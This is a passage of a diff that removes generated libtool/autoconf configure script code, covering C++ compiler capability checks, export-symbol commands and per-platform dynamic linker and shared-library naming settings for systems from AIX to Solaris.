- $echo "X$_lt_linker_boilerplate" | $Xsed -e '/^$/d' > conftest.exp
- $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2
- if diff conftest.exp conftest.er2 >/dev/null; then
- lt_prog_compiler_static_works_CXX=yes
- fi
- else
- lt_prog_compiler_static_works_CXX=yes
- fi
- fi
- $rm conftest*
- LDFLAGS="$save_LDFLAGS"
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_static_works_CXX" >&5
-$as_echo "$lt_prog_compiler_static_works_CXX" >&6; }
-
-if test x"$lt_prog_compiler_static_works_CXX" = xyes; then
- :
-else
- lt_prog_compiler_static_CXX=
-fi
-
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler supports -c -o file.$ac_objext" >&5
-$as_echo_n "checking if $compiler supports -c -o file.$ac_objext... " >&6; }
-if ${lt_cv_prog_compiler_c_o_CXX+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- lt_cv_prog_compiler_c_o_CXX=no
- $rm -r conftest 2>/dev/null
- mkdir conftest
- cd conftest
- mkdir out
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
-
- lt_compiler_flag="-o out/conftest2.$ac_objext"
- # Insert the option either (1) after the last *FLAGS variable, or
- # (2) before a word containing "conftest.", or (3) at the end.
- # Note that $ac_compile itself does not contain backslashes and begins
- # with a dollar sign (not a hyphen), so the echo should work correctly.
- lt_compile=`echo "$ac_compile" | $SED \
- -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \
- -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \
- -e 's:$: $lt_compiler_flag:'`
- (eval echo "\"\$as_me:__oline__: $lt_compile\"" >&5)
- (eval "$lt_compile" 2>out/conftest.err)
- ac_status=$?
- cat out/conftest.err >&5
- echo "$as_me:__oline__: \$? = $ac_status" >&5
- if (exit $ac_status) && test -s out/conftest2.$ac_objext
- then
- # The compiler can only warn and ignore the option if not recognized
- # So say no if there are warnings
- $echo "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' > out/conftest.exp
- $SED '/^$/d; /^ *+/d' out/conftest.err >out/conftest.er2
- if test ! -s out/conftest.er2 || diff out/conftest.exp out/conftest.er2 >/dev/null; then
- lt_cv_prog_compiler_c_o_CXX=yes
- fi
- fi
- chmod u+w . 2>&5
- $rm conftest*
- # SGI C++ compiler will create directory out/ii_files/ for
- # template instantiation
- test -d out/ii_files && $rm out/ii_files/* && rmdir out/ii_files
- $rm out/* && rmdir out
- cd ..
- rmdir conftest
- $rm conftest*
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_c_o_CXX" >&5
-$as_echo "$lt_cv_prog_compiler_c_o_CXX" >&6; }
-
-
-hard_links="nottested"
-if test "$lt_cv_prog_compiler_c_o_CXX" = no && test "$need_locks" != no; then
- # do not overwrite the value of need_locks provided by the user
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking if we can lock with hard links" >&5
-$as_echo_n "checking if we can lock with hard links... " >&6; }
- hard_links=yes
- $rm conftest*
- ln conftest.a conftest.b 2>/dev/null && hard_links=no
- touch conftest.a
- ln conftest.a conftest.b 2>&5 || hard_links=no
- ln conftest.a conftest.b 2>/dev/null && hard_links=no
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $hard_links" >&5
-$as_echo "$hard_links" >&6; }
- if test "$hard_links" = no; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: \`$CC' does not support \`-c -o', so \`make -j' may be unsafe" >&5
-$as_echo "$as_me: WARNING: \`$CC' does not support \`-c -o', so \`make -j' may be unsafe" >&2;}
- need_locks=warn
- fi
-else
- need_locks=no
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the $compiler linker ($LD) supports shared libraries" >&5
-$as_echo_n "checking whether the $compiler linker ($LD) supports shared libraries... " >&6; }
-
- export_symbols_cmds_CXX='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols'
- case $host_os in
- aix4* | aix5*)
- # If we're using GNU nm, then we don't want the "-C" option.
- # -C means demangle to AIX nm, but means don't demangle with GNU nm
- if $NM -V 2>&1 | grep 'GNU' > /dev/null; then
- export_symbols_cmds_CXX='$NM -Bpg $libobjs $convenience | awk '\''{ if (((\$2 == "T") || (\$2 == "D") || (\$2 == "B")) && (substr(\$3,1,1) != ".")) { print \$3 } }'\'' | sort -u > $export_symbols'
- else
- export_symbols_cmds_CXX='$NM -BCpg $libobjs $convenience | awk '\''{ if (((\$2 == "T") || (\$2 == "D") || (\$2 == "B")) && (substr(\$3,1,1) != ".")) { print \$3 } }'\'' | sort -u > $export_symbols'
- fi
- ;;
- pw32*)
- export_symbols_cmds_CXX="$ltdll_cmds"
- ;;
- cygwin* | mingw*)
- export_symbols_cmds_CXX='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS] /s/.* \([^ ]*\)/\1 DATA/;/^.* __nm__/s/^.* __nm__\([^ ]*\) [^ ]*/\1 DATA/;/^I /d;/^[AITW] /s/.* //'\'' | sort | uniq > $export_symbols'
- ;;
- *)
- export_symbols_cmds_CXX='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols'
- ;;
- esac
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ld_shlibs_CXX" >&5
-$as_echo "$ld_shlibs_CXX" >&6; }
-test "$ld_shlibs_CXX" = no && can_build_shared=no
-
-#
-# Do we need to explicitly link libc?
-#
-case "x$archive_cmds_need_lc_CXX" in
-x|xyes)
- # Assume -lc should be added
- archive_cmds_need_lc_CXX=yes
-
- if test "$enable_shared" = yes && test "$GCC" = yes; then
- case $archive_cmds_CXX in
- *'~'*)
- # FIXME: we may have to deal with multi-command sequences.
- ;;
- '$CC '*)
- # Test whether the compiler implicitly links with -lc since on some
- # systems, -lgcc has to come before -lc. If gcc already passes -lc
- # to ld, don't add -lc before -lgcc.
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether -lc should be explicitly linked in" >&5
-$as_echo_n "checking whether -lc should be explicitly linked in... " >&6; }
- $rm conftest*
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
-
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
- (eval $ac_compile) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; } 2>conftest.err; then
- soname=conftest
- lib=conftest
- libobjs=conftest.$ac_objext
- deplibs=
- wl=$lt_prog_compiler_wl_CXX
- pic_flag=$lt_prog_compiler_pic_CXX
- compiler_flags=-v
- linker_flags=-v
- verstring=
- output_objdir=.
- libname=conftest
- lt_save_allow_undefined_flag=$allow_undefined_flag_CXX
- allow_undefined_flag_CXX=
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$archive_cmds_CXX 2\>\&1 \| grep \" -lc \" \>/dev/null 2\>\&1\""; } >&5
- (eval $archive_cmds_CXX 2\>\&1 \| grep \" -lc \" \>/dev/null 2\>\&1) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; }
- then
- archive_cmds_need_lc_CXX=no
- else
- archive_cmds_need_lc_CXX=yes
- fi
- allow_undefined_flag_CXX=$lt_save_allow_undefined_flag
- else
- cat conftest.err 1>&5
- fi
- $rm conftest*
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $archive_cmds_need_lc_CXX" >&5
-$as_echo "$archive_cmds_need_lc_CXX" >&6; }
- ;;
- esac
- fi
- ;;
-esac
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking dynamic linker characteristics" >&5
-$as_echo_n "checking dynamic linker characteristics... " >&6; }
-library_names_spec=
-libname_spec='lib$name'
-soname_spec=
-shrext_cmds=".so"
-postinstall_cmds=
-postuninstall_cmds=
-finish_cmds=
-finish_eval=
-shlibpath_var=
-shlibpath_overrides_runpath=unknown
-version_type=none
-dynamic_linker="$host_os ld.so"
-sys_lib_dlsearch_path_spec="/lib /usr/lib"
-if test "$GCC" = yes; then
- sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"`
- if echo "$sys_lib_search_path_spec" | grep ';' >/dev/null ; then
- # if the path contains ";" then we assume it to be the separator
- # otherwise default to the standard path separator (i.e. ":") - it is
- # assumed that no part of a normal pathname contains ";" but that should
- # okay in the real world where ";" in dirpaths is itself problematic.
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
- else
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
- fi
-else
- sys_lib_search_path_spec="/lib /usr/lib /usr/local/lib"
-fi
-need_lib_prefix=unknown
-hardcode_into_libs=no
-
-# when you set need_version to no, make sure it does not cause -set_version
-# flags to be left without arguments
-need_version=unknown
-
-case $host_os in
-aix3*)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix $libname.a'
- shlibpath_var=LIBPATH
-
- # AIX 3 has no versioning support, so we append a major version to the name.
- soname_spec='${libname}${release}${shared_ext}$major'
- ;;
-
-aix4* | aix5*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- hardcode_into_libs=yes
- if test "$host_cpu" = ia64; then
- # AIX 5 supports IA64
- library_names_spec='${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext}$versuffix $libname${shared_ext}'
- shlibpath_var=LD_LIBRARY_PATH
- else
- # With GCC up to 2.95.x, collect2 would create an import file
- # for dependence libraries. The import file would start with
- # the line `#! .'. This would cause the generated library to
- # depend on `.', always an invalid library. This was fixed in
- # development snapshots of GCC prior to 3.0.
- case $host_os in
- aix4 | aix4.[01] | aix4.[01].*)
- if { echo '#if __GNUC__ > 2 || (__GNUC__ == 2 && __GNUC_MINOR__ >= 97)'
- echo ' yes '
- echo '#endif'; } | ${CC} -E - | grep yes > /dev/null; then
- :
- else
- can_build_shared=no
- fi
- ;;
- esac
- # AIX (on Power*) has no versioning support, so currently we can not hardcode correct
- # soname into executable. Probably we can add versioning support to
- # collect2, so additional links can be useful in future.
- if test "$aix_use_runtimelinking" = yes; then
- # If using run time linking (on AIX 4.2 or later) use lib<name>.so
- # instead of lib<name>.a to let people know that these are not
- # typical AIX shared libraries.
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- else
- # We preserve .a as extension for shared libraries through AIX4.2
- # and later when we are not doing run time linking.
- library_names_spec='${libname}${release}.a $libname.a'
- soname_spec='${libname}${release}${shared_ext}$major'
- fi
- shlibpath_var=LIBPATH
- fi
- ;;
-
-amigaos*)
- library_names_spec='$libname.ixlibrary $libname.a'
- # Create ${libname}_ixlibrary.a entries in /sys/libs.
- finish_eval='for lib in `ls $libdir/*.ixlibrary 2>/dev/null`; do libname=`$echo "X$lib" | $Xsed -e '\''s%^.*/\([^/]*\)\.ixlibrary$%\1%'\''`; test $rm /sys/libs/${libname}_ixlibrary.a; $show "cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a"; cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a || exit 1; done'
- ;;
-
-beos*)
- library_names_spec='${libname}${shared_ext}'
- dynamic_linker="$host_os ld.so"
- shlibpath_var=LIBRARY_PATH
- ;;
-
-bsdi[45]*)
- version_type=linux
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- sys_lib_search_path_spec="/shlib /usr/lib /usr/X11/lib /usr/contrib/lib /lib /usr/local/lib"
- sys_lib_dlsearch_path_spec="/shlib /usr/lib /usr/local/lib"
- # the default ld.so.conf also contains /usr/contrib/lib and
- # /usr/X11R6/lib (/usr/X11 is a link to /usr/X11R6), but let us allow
- # libtool to hard-code these into programs
- ;;
-
-cygwin* | mingw* | pw32*)
- version_type=windows
- shrext_cmds=".dll"
- need_version=no
- need_lib_prefix=no
-
- case $GCC,$host_os in
- yes,cygwin* | yes,mingw* | yes,pw32*)
- library_names_spec='$libname.dll.a'
- # DLL is installed to $(libdir)/../bin by postinstall_cmds
- postinstall_cmds='base_file=`basename \${file}`~
- dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i;echo \$dlname'\''`~
- dldir=$destdir/`dirname \$dlpath`~
- test -d \$dldir || mkdir -p \$dldir~
- $install_prog $dir/$dlname \$dldir/$dlname~
- chmod a+x \$dldir/$dlname'
- postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
- dlpath=$dir/\$dldll~
- $rm \$dlpath'
- shlibpath_overrides_runpath=yes
-
- case $host_os in
- cygwin*)
- # Cygwin DLLs use 'cyg' prefix rather than 'lib'
- soname_spec='`echo ${libname} | sed -e 's/^lib/cyg/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- sys_lib_search_path_spec="/usr/lib /lib/w32api /lib /usr/local/lib"
- ;;
- mingw*)
- # MinGW DLLs use traditional 'lib' prefix
- soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"`
- if echo "$sys_lib_search_path_spec" | grep ';[c-zC-Z]:/' >/dev/null; then
- # It is most probably a Windows format PATH printed by
- # mingw gcc, but we are running on Cygwin. Gcc prints its search
- # path with ; separators, and with drive letters. We can handle the
- # drive letters (cygwin fileutils understands them), so leave them,
- # especially as we might pass files found there to a mingw objdump,
- # which wouldn't understand a cygwinified path. Ahh.
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
- else
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
- fi
- ;;
- pw32*)
- # pw32 DLLs use 'pw' prefix rather than 'lib'
- library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- ;;
- esac
- ;;
-
- *)
- library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
- ;;
- esac
- dynamic_linker='Win32 ld.exe'
- # FIXME: first we should search . and the directory the executable is in
- shlibpath_var=PATH
- ;;
-
-darwin* | rhapsody*)
- dynamic_linker="$host_os dyld"
- version_type=darwin
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${versuffix}$shared_ext ${libname}${release}${major}$shared_ext ${libname}$shared_ext'
- soname_spec='${libname}${release}${major}$shared_ext'
- shlibpath_overrides_runpath=yes
- shlibpath_var=DYLD_LIBRARY_PATH
- shrext_cmds='`test .$module = .yes && echo .so || echo .dylib`'
- # Apple's gcc prints 'gcc -print-search-dirs' doesn't operate the same.
- if test "$GCC" = yes; then
- sys_lib_search_path_spec=`$CC -print-search-dirs | tr "\n" "$PATH_SEPARATOR" | sed -e 's/libraries:/@libraries:/' | tr "@" "\n" | grep "^libraries:" | sed -e "s/^libraries://" -e "s,=/,/,g" -e "s,$PATH_SEPARATOR, ,g" -e "s,.*,& /lib /usr/lib /usr/local/lib,g"`
- else
- sys_lib_search_path_spec='/lib /usr/lib /usr/local/lib'
- fi
- sys_lib_dlsearch_path_spec='/usr/local/lib /lib /usr/lib'
- ;;
-
-dgux*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname$shared_ext'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- ;;
-
-freebsd1*)
- dynamic_linker=no
- ;;
-
-kfreebsd*-gnu)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- dynamic_linker='GNU ld.so'
- ;;
-
-freebsd* | dragonfly*)
- # DragonFly does not have aout. When/if they implement a new
- # versioning mechanism, adjust this.
- if test -x /usr/bin/objformat; then
- objformat=`/usr/bin/objformat`
- else
- case $host_os in
- freebsd[123]*) objformat=aout ;;
- *) objformat=elf ;;
- esac
- fi
- version_type=freebsd-$objformat
- case $version_type in
- freebsd-elf*)
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}'
- need_version=no
- need_lib_prefix=no
- ;;
- freebsd-*)
- library_names_spec='${libname}${release}${shared_ext}$versuffix $libname${shared_ext}$versuffix'
- need_version=yes
- ;;
- esac
- shlibpath_var=LD_LIBRARY_PATH
- case $host_os in
- freebsd2*)
- shlibpath_overrides_runpath=yes
- ;;
- freebsd3.[01]* | freebsdelf3.[01]*)
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- ;;
- freebsd3.[2-9]* | freebsdelf3.[2-9]* | \
- freebsd4.[0-5] | freebsdelf4.[0-5] | freebsd4.1.1 | freebsdelf4.1.1)
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- ;;
- freebsd*) # from 4.6 on
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- ;;
- esac
- ;;
-
-gnu*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}${major} ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- hardcode_into_libs=yes
- ;;
-
-hpux9* | hpux10* | hpux11*)
- # Give a soname corresponding to the major version so that dld.sl refuses to
- # link against other versions.
- version_type=sunos
- need_lib_prefix=no
- need_version=no
- case $host_cpu in
- ia64*)
- shrext_cmds='.so'
- hardcode_into_libs=yes
- dynamic_linker="$host_os dld.so"
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes # Unless +noenvvar is specified.
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- if test "X$HPUX_IA64_MODE" = X32; then
- sys_lib_search_path_spec="/usr/lib/hpux32 /usr/local/lib/hpux32 /usr/local/lib"
- else
- sys_lib_search_path_spec="/usr/lib/hpux64 /usr/local/lib/hpux64"
- fi
- sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec
- ;;
- hppa*64*)
- shrext_cmds='.sl'
- hardcode_into_libs=yes
- dynamic_linker="$host_os dld.sl"
- shlibpath_var=LD_LIBRARY_PATH # How should we handle SHLIB_PATH
- shlibpath_overrides_runpath=yes # Unless +noenvvar is specified.
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- sys_lib_search_path_spec="/usr/lib/pa20_64 /usr/ccs/lib/pa20_64"
- sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec
- ;;
- *)
- shrext_cmds='.sl'
- dynamic_linker="$host_os dld.sl"
- shlibpath_var=SHLIB_PATH
- shlibpath_overrides_runpath=no # +s is required to enable SHLIB_PATH
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- ;;
- esac
- # HP-UX runs *really* slowly unless shared libraries are mode 555.
- postinstall_cmds='chmod 555 $lib'
- ;;
-
-interix3*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- dynamic_linker='Interix 3.x ld.so.1 (PE, like ELF)'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- ;;
-
-irix5* | irix6* | nonstopux*)
- case $host_os in
- nonstopux*) version_type=nonstopux ;;
- *)
- if test "$lt_cv_prog_gnu_ld" = yes; then
- version_type=linux
- else
- version_type=irix
- fi ;;
- esac
- need_lib_prefix=no
- need_version=no
- soname_spec='${libname}${release}${shared_ext}$major'
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext} $libname${shared_ext}'
- case $host_os in
- irix5* | nonstopux*)
- libsuff= shlibsuff=
- ;;
- *)
- case $LD in # libtool.m4 will add one of these switches to LD
- *-32|*"-32 "|*-melf32bsmip|*"-melf32bsmip ")
- libsuff= shlibsuff= libmagic=32-bit;;
- *-n32|*"-n32 "|*-melf32bmipn32|*"-melf32bmipn32 ")
- libsuff=32 shlibsuff=N32 libmagic=N32;;
- *-64|*"-64 "|*-melf64bmip|*"-melf64bmip ")
- libsuff=64 shlibsuff=64 libmagic=64-bit;;
- *) libsuff= shlibsuff= libmagic=never-match;;
- esac
- ;;
- esac
- shlibpath_var=LD_LIBRARY${shlibsuff}_PATH
- shlibpath_overrides_runpath=no
- sys_lib_search_path_spec="/usr/lib${libsuff} /lib${libsuff} /usr/local/lib${libsuff}"
- sys_lib_dlsearch_path_spec="/usr/lib${libsuff} /lib${libsuff}"
- hardcode_into_libs=yes
- ;;
-
-# No shared lib support for Linux oldld, aout, or coff.
-linux*oldld* | linux*aout* | linux*coff*)
- dynamic_linker=no
- ;;
-
-# This must be Linux ELF.
-linux*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig -n $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- # This implies no fast_install, which is unacceptable.
- # Some rework will be needed to allow for fast_install
- # before this can be enabled.
- hardcode_into_libs=yes
-
- # Append ld.so.conf contents to the search path
- if test -f /etc/ld.so.conf; then
- lt_ld_extra=`awk '/^include / { system(sprintf("cd /etc; cat %s", \$2)); skip = 1; } { if (!skip) print \$0; skip = 0; }' < /etc/ld.so.conf | $SED -e 's/#.*//;s/[:, ]/ /g;s/=[^=]*$//;s/=[^= ]* / /g;/^$/d' | tr '\n' ' '`
- sys_lib_dlsearch_path_spec="/lib /usr/lib $lt_ld_extra"
- fi
-
- # We used to test for /lib/ld.so.1 and disable shared libraries on
- # powerpc, because MkLinux only supported shared libraries with the
- # GNU dynamic linker. Since this was broken with cross compilers,
- # most powerpc-linux boxes support dynamic linking these days and
- # people can always --disable-shared, the test was removed, and we
- # assume the GNU/Linux dynamic linker is in use.
- dynamic_linker='GNU/Linux ld.so'
- ;;
-
-knetbsd*-gnu)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- dynamic_linker='GNU ld.so'
- ;;
-
-netbsd*)
- version_type=sunos
- need_lib_prefix=no
- need_version=no
- if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir'
- dynamic_linker='NetBSD (a.out) ld.so'
- else
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- dynamic_linker='NetBSD ld.elf_so'
- fi
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- ;;
-
-newsos6)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- ;;
-
-nto-qnx*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- ;;
-
-openbsd*)
- version_type=sunos
- sys_lib_dlsearch_path_spec="/usr/lib"
- need_lib_prefix=no
- # Some older versions of OpenBSD (3.3 at least) *do* need versioned libs.
- case $host_os in
- openbsd3.3 | openbsd3.3.*) need_version=yes ;;
- *) need_version=no ;;
- esac
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
- case $host_os in
- openbsd2.[89] | openbsd2.[89].*)
- shlibpath_overrides_runpath=no
- ;;
- *)
- shlibpath_overrides_runpath=yes
- ;;
- esac
- else
- shlibpath_overrides_runpath=yes
- fi
- ;;
-
-os2*)
- libname_spec='$name'
- shrext_cmds=".dll"
- need_lib_prefix=no
- library_names_spec='$libname${shared_ext} $libname.a'
- dynamic_linker='OS/2 ld.exe'
- shlibpath_var=LIBPATH
- ;;
-
-osf3* | osf4* | osf5*)
- version_type=osf
- need_lib_prefix=no
- need_version=no
- soname_spec='${libname}${release}${shared_ext}$major'
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- shlibpath_var=LD_LIBRARY_PATH
- sys_lib_search_path_spec="/usr/shlib /usr/ccs/lib /usr/lib/cmplrs/cc /usr/lib /usr/local/lib /var/shlib"
- sys_lib_dlsearch_path_spec="$sys_lib_search_path_spec"
- ;;
-
-solaris*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- # ldd complains unless libraries are executable
- postinstall_cmds='chmod +x $lib'
- ;;
-
-sunos4*)
- version_type=sunos
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
- finish_cmds='PATH="\$PATH:/usr/etc" ldconfig $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- if test "$with_gnu_ld" = yes; then
- need_lib_prefix=no
- fi
- need_version=yes
- ;;
-
-sysv4 | sysv4.3*)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- case $host_vendor in
- sni)
- shlibpath_overrides_runpath=no
- need_lib_prefix=no
- export_dynamic_flag_spec='${wl}-Blargedynsym'
- runpath_var=LD_RUN_PATH
- ;;
- siemens)
- need_lib_prefix=no
- ;;
- motorola)
- need_lib_prefix=no
- need_version=no
- shlibpath_overrides_runpath=no
- sys_lib_search_path_spec='/lib /usr/lib /usr/ccs/lib'
- ;;
- esac
- ;;
-
-sysv4*MP*)
- if test -d /usr/nec ;then
- version_type=linux
- library_names_spec='$libname${shared_ext}.$versuffix $libname${shared_ext}.$major $libname${shared_ext}'
- soname_spec='$libname${shared_ext}.$major'
- shlibpath_var=LD_LIBRARY_PATH
- fi
- ;;
-
-sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX* | sysv4*uw2*)
- version_type=freebsd-elf
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- hardcode_into_libs=yes
- if test "$with_gnu_ld" = yes; then
- sys_lib_search_path_spec='/usr/local/lib /usr/gnu/lib /usr/ccs/lib /usr/lib /lib'
- shlibpath_overrides_runpath=no
- else
- sys_lib_search_path_spec='/usr/ccs/lib /usr/lib'
- shlibpath_overrides_runpath=yes
- case $host_os in
- sco3.2v5*)
- sys_lib_search_path_spec="$sys_lib_search_path_spec /lib"
- ;;
- esac
- fi
- sys_lib_dlsearch_path_spec='/usr/lib'
- ;;
-
-uts4*)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- ;;
-
-*)
- dynamic_linker=no
- ;;
-esac
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $dynamic_linker" >&5
-$as_echo "$dynamic_linker" >&6; }
-test "$dynamic_linker" = no && can_build_shared=no
-
-variables_saved_for_relink="PATH $shlibpath_var $runpath_var"
-if test "$GCC" = yes; then
